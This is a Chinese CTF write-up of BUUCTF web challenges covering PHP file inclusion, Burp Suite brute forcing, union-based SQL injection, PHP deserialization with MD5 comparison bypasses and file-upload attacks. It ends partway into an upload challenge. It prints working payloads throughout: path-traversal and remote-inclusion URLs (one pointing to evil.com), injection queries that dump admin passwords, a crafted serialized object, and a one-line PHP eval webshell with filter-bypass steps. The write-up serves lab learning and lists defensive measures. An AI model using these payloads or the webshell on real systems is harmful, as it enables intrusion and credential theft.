BUUCTF Basic 解题记录

BUU LFI COURSE 1

 <?php  
highlight_file(__FILE__);
if(isset($_GET['file'])) {    
$str $_GET['file'];
    include $_GET['file'];
}

可以看到有include,判断是文件包含漏洞

文件包含漏洞产生原因

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行。利用该漏洞,攻击者可能读取服务器上的敏感文件,执行恶意代码,甚至完全控制服务器。

代码分析

对上面这段 PHP 代码进行分析,把一个 GET 请求的参数 file 传给了一个变量str,然后包含了这个变量。但是开发者没有对 $_GET['file'] 参数经过严格的过滤,直接带入了 include 的函数,这就造成了文件包含漏洞,如此一来,攻击者便可以修改$_GET[‘file’]的值,包含网站的敏感文件进行查看。

解题

在 url 后加上 /?file=/flag../ 查找上一级目录,/ 查找根目录。

扩展

1. 文件包含函数

在 PHP 中共有四种文件包含函数:

  • Include():包含并运行指定的文件,只有在程序执行到 include 时才包含文件,且当包含文件发生错误时,程序警告,但会继续执行。
  • Require():只要程序一运行就会执行该包含文件函数,当包含文件发生错误时,程序直接终止执行。
  • Include_once():和 include()类似,不同之处在于 include_once 会检查这个文件是否已经被导入,如果已导入、下文便不会再导入。
  • Require_once():和 require()类似,不同处在于 require_once 也是只导入一次。

2. 漏洞分类

文件包含漏洞共分为两大类,本地文件包含和远程文件包含。

(1) 本地文件包含(LFI)

if(isset($_GET['file'])) 
{
include $_GET['file'];
}

如果攻击者将file参数设置为/etc/passwd,例如:

http://example.com/vulnerable.php?file=/etc/passwd

服务器可能会将/etc/passwd文件的内容显示在网页上。
攻击者还可以通过目录遍历技巧访问超出预期目录范围的文件。例如:

http://example.com/vulnerable.php?file=../../../../etc/passwd

(2) 远程文件包含(RFI)

RFI漏洞的利用通常依赖于PHP配置中allow_url_include选项被启用。
攻击者可以将file参数设置为远程URL,例如:

http://example.com/vulnerable.php?file=http://evil.com/malicious.php

此时,服务器可能会包含并执行malicious.php文件中的恶意代码。

3. 防护措施

(1)使用白名单限制文件包含

只允许包含预定义的文件,限制用户输入的范围。

(2)验证和过滤用户输入

  • 使用basename()函数提取文件名,防止路径遍历攻击。
  • 移除不必要的路径分隔符或特殊字符。

(3)禁用远程文件包含

php.ini文件中禁用allow_url_includeallow_url_fopen

(4)使用绝对路径

采用绝对路径而非相对路径来包含文件,避免被用户输入影响。

(5)最小化权限

服务器上的文件权限应设置为最小化,仅允许Web服务器访问必要的文件。

(6)日志记录和监控

实现日志记录机制,记录异常的文件包含请求,并设置监控系统检测异常行为。

BUU BRUTE 1

1. 随便输入,用burpsuite抓包


2. 发送到Repeater

点击发送,在响应结构中点击响应内容,显示用户名错误。

在 Repeater 中,可以手动编辑 HTTP 请求的各个部分,包括方法、URL、参数、请求头、Cookies、请求体等。根据服务器的响应内容,测试人员可以确定所修改的请求是否引发了漏洞,或是否达到了预期的测试目的。

单独抓包时回显仅用户名错误,考虑先爆破用户名。

3. 爆破用户名

在代理中右键将其发送到Intruder。对username添加payload位置
payload:有效载荷,指的是在网络数据包或恶意软件中传递的实际数据内容。

在payload板块添加字典,开始攻击。

通过长度判断正确值和错误值。点击长度,自动排序。与大量数据不同的值所对应的payload大概率就是正确的payload。

点击admin,发现render显示的是密码错误,说明用户名爆破成功。

4. 爆破密码

用户名改为admin。

选中密码,发送到intruder。已经得知密码是一个四位数字,所以将payload类型设置成数值类型。

密码是6490。

登录成功。

BUU SQL COURSE 1


F12打开开发工具,查看网络

访问backend/content_detail.php?id=1,修改id有不同的返回信息
输入1 and 1=2,没有任何回显
order by判断列数。1,2有回显,3没有回显,说明有2列。
?id=-1 union select 1,2 判断显位点

爆破数据库:?id=-1 union select 1,database()

得到数据库库名news,获取数据表信息:?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’news’)

得到表名信息admin,contents,使用admin表,获取字段名信息:?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’news’ and table_name=’admin’)

得到字段名分别是id,username,password,获取username:?id=-1 union select 1,(select group_concat(username) from admin)

获取password:?id=-1 union select 1,(select group_concat(password) from admin)

登录成功。

BUU CODE REVIEW 1

前置知识

反序列化漏洞

序列化将数据转化成一种可逆的数据结构(如JSON、XML、二进制格式等),逆向的过程就叫做反序列化
php中serialize()unserialize() 函数分别对目标进行序列化和反序列化。
举例如下:

<?php
$user=array('shui','mi','tao');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));

输出结果为:

a:3:{i:0;s:4:"shui";i:1;s:2:"mi";i:2;s:3:"tao";} 
Array
(
[0] => shui
[1] => mi
[2] => tao
)

serialize() 函数将数组转换为一个字符串,以便能够存储或传递。
unserialize() 函数将序列化的字符串重新转换为原来的数组格式。
a: array, 代表是数组,后面的3说明有三个属性。
i: 代表是整型数据int,后面的0是数组下标。
s: 代表是字符串,后面的4是因为shui长度为4。
依次类推。

序列化场景

  • 数据持久化:将对象或数据结构保存到文件或数据库中,以便以后可以重新加载。例如,将Python对象序列化为JSON格式并存储在文件中。
  • 网络传输:在分布式系统中,数据需要在不同的服务或系统之间传输。为了在网络中传输复杂数据结构,需要将它们序列化为可传输的格式(如JSON、XML、Protobuf)。
  • 缓存:在Web应用中,复杂对象通常会被序列化后存储在缓存(如Redis、Memcached)中,以提高应用的性能。当需要时,再反序列化读取。
  • 进程间通信(IPC):在一些需要进程间通信的场景中,数据需要序列化后在进程间传递。例如,使用消息队列(如RabbitMQ、Kafka)时,消息需要序列化为字节格式进行传递。

反序列化漏洞:通常发生在对用户提供的数据进行反序列化时。如果用户能够控制传入的序列化数据,而应用在反序列化时没有进行适当的安全检查,那么攻击者可以构造恶意的序列化数据,触发特定的魔术方法(如 __wakeup()__destruct()),执行任意代码,造成安全风险。

魔术方法:在PHP中,魔术方法是一类以两个下划线(__)开头的特殊方法。在某些条件下自动执行会导致反序列化漏洞。

  • __construct():对象创建时自动调用的构造函数。
  • __destruct():对象销毁时自动调用的析构函数。
  • __call():调用未定义或不可访问的方法时自动调用。
  • __callStatic():调用未定义或不可访问的静态方法时自动调用。
  • __get():访问未定义或不可访问的属性时自动调用。
  • __set():为未定义或不可访问的属性赋值时自动调用。
  • __isset():调用 isset()empty() 时自动调用。
  • __unset():调用 unset() 时自动调用。
  • __sleep():序列化对象时自动调用。
  • __wakeup():反序列化对象时自动调用。
  • __toString():尝试将对象转换为字符串时自动调用。
  • __invoke():尝试将对象当作函数调用时自动调用。
  • __clone():克隆对象时自动调用。

MD5哈希碰撞

  • MD5 是一种不安全的哈希算法,已知它是可以被攻击的,尤其是找到两个不同输入,使得它们的 MD5 哈希值相等(称为哈希碰撞)。
  • 攻击者可以通过精心构造两个不同的字符串 md51md52,使得它们的 md5 哈希值相等,这样就可以绕过这个检查。
  • 常见的绕过弱md5的方法有两种:
    1.科学计数法绕过,PHP 当中使用== 来进行比较的时候,系统会自动处理数据类型, 进行分析是数字比较还是字符比较。 而当一个字符串值是0e开头的时候,就会被当作数值,php会认为它是科学计数法,而 0的多少次方都是 0。
    常见的绕过值有:QNKCDZO、s155964671a、s1091221200a
    2.数组绕过,原理是 md5 等函数不能处理数组,导致函数返回null。而null是等于null的,导致了绕过。

代码审计

<?php  

highlight_file(__FILE__);

class BUU {
   public $correct "";
   public $input "";

   public function __destruct() {
       try {           
       $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) 
        {            unserialize($_POST['obj']);
        }
    }
}

1. 类定义

  • 定义了一个类 BUU,包含两个公共属性 correctinput,以及一个析构函数 __destruct()
  • __destruct() 方法中,$this->correct 被设置为一个随机生成的唯一标识符的Base64编码,然后与 $this->input 进行严格比较(===)。如果相等,则会读取并显示 /flag 文件的内容。

2.条件判断

  • $_GET['pleaseget'] 必须等于 '1',且 $_POST['pleasepost'] 必须等于 '2'
  • 然后,存在一个双重的 md5() 碰撞检查:要求 md5($_POST['md51']) == md5($_POST['md52'])$_POST['md51'] != $_POST['md52']

3.反序列化操作

  • 当上述条件满足后,代码执行 unserialize($_POST['obj']);,反序列化用户提供的对象数据。这一操作可能被利用来执行任意代码或攻击者控制的操作。

解题

构建一个url,包括1个get请求,4个post请求,满足上述条件,即可获得flag信息。
1.发送一个get请求。
2. 为了触发BUU 类中的 __destruct() 方法,需要构造一个序列化的对象。
(构造的 BUU 对象,在反序列化后没有进一步引用,因此 PHP 将在反序列化后立即销毁该对象,自动触发其 __destruct() 方法。)
要使$this->correct === $this->input,只需将this->input指向this->correct的地址:

<?php

class BUU {
   public $correct = "";
   public $input = "";
   }

$obj =new BUU;
$obj->input = &$obj->correct;                
print_r(serialize($obj));

?>

输出如下:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
3. 使用hackbar,点击execute,发送post请求:

[极客大挑战 2019]Upload

上传一句话木马。
<?php @eval($_POST['shell']);?>
burpsuite抓包,发送到repeater。

修改属性以绕过检测。
将文件名修改为web.phtml,绕过常规php文件后缀检测
将文件类型修改为:image/jpeg
注意:phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析
因为一句话木马存在?>,所以被过滤了,所以需要将一句话木马进行修改,并添加图片头GIF89a。

上传成功。

反复试验,发现路径为upload。
http://3e6bfe9d-2884-4976-b474-80c2ba542f20.node5.buuoj.cn:81/upload/web.phtml
连接成功,根目录找到flag。

[MRCTF2020]你传你🐎呢

文件后缀过滤的很全,常见的绕过方法php3/5/7/phtml都不行